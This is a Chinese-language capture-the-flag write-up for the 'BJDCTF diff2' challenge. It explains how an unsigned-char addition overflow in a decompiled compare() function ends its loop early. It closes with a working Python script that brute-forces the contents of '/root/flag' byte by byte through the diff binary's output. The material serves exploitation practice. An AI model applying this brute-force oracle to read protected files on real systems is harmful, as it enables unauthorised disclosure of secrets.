BJDCTFdiff2

0x01 用EP打开，查看加壳没

没有加壳

---

0x02 用IDA32位打开，F5反编译

漏洞的地方只可能是 compare

---

0x03 分析代码

int compare()
{
  char v0; // al@2
  unsigned int i; // [sp+0h] [bp-8h]@1
  int v3; // [sp+4h] [bp-4h]@1

  v3 = 0;
  for ( i = 0; buf2[i] + buf1[i] && i < 0x400; ++i )
  {
    v0 = buf1[i];
    if ( v0 != buf2[i] )
      return v3 + 1;
    if ( v0 == 10 )
      ++v3;
  }
  return 0;
}

char型变量占1个字节，相当于unsigned byte，表示范围是0x0-0xff，两个char相加的范围就是0x0 - 0x1fe ，由于char型只能存储1个字节的数据，两个char相加产生的进位就会被忽略。char + char = 溢出 举个栗子，0x7d+0x83=0x100->0x0。

所以如果buf2[i]+buf1[i]=0x100就会 终止 for循环

每次返回一个进行爆破即可

0x04 构造python脚本

from subprocess import *
fix = ''
while 1:
	for i in range(0x100):
		payload = fix+chr(i)
		with open('/tmp/ktql','w+') as f:
			f.write(payload)
		p = Popen(['/root/diff','/tmp/ktql','/root/flag'],stdout=PIPE)
		res = p.stdout.read()
		if res != '1':
			fix+=chr(0x100-i)
			print(fix)
			break